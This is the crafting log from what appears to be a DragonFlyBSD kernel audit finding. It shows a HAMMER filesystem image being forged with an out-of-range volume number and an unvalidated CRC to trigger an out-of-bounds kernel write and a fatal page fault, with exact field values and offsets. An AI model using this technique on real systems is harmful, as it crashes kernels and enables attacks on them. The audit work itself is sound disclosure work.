DragonFlyBSD Kernel Audit
DF-0797 / craft_log.txt
← back to finding ↓ download raw
1073741824 bytes transferred in 1.425065 secs (753468528 bytes/sec)

WARNING: HAMMER filesystems less than 50GB are not recommended!
You may have to run 'hammer prune-everything' and 'hammer reblock'
quite often, even if using a nohistory mount.
=== fresh image created ===
[*] image      : /root/df0797.img
[*] signature  : 0xc8414d4dc5523031 (HAMMER_FSBUF_VOLUME OK)
[*] vol_no     : 0 (0x00000000)  -> forging to 2147483647 (0x7fffffff)
[*] vol_crc    : 0x25611e52  (LEAVE -- never validated at mount)
[*] vol_rootvol: 0
[*] vol_version: 7
[*] __hammer_vol_index(2147483647) = 33554431  (volume_map valid range 0..3)
[!] OOB WRITE: hmp->volume_map[33554431] |= bit  -> +268435448 bytes past volume_map[0]
[!] volume_map is the LAST field of struct hammer_mount (hammer.h:875)
[!]   -> write lands in adjacent kernel heap / unmapped page
[!]   -> idx*8 = 255 MiB past volume_map -> guaranteed fatal page fault
[+] vol_no patched in-place (CRC left as-is -- not validated at mount)
=== craft done ===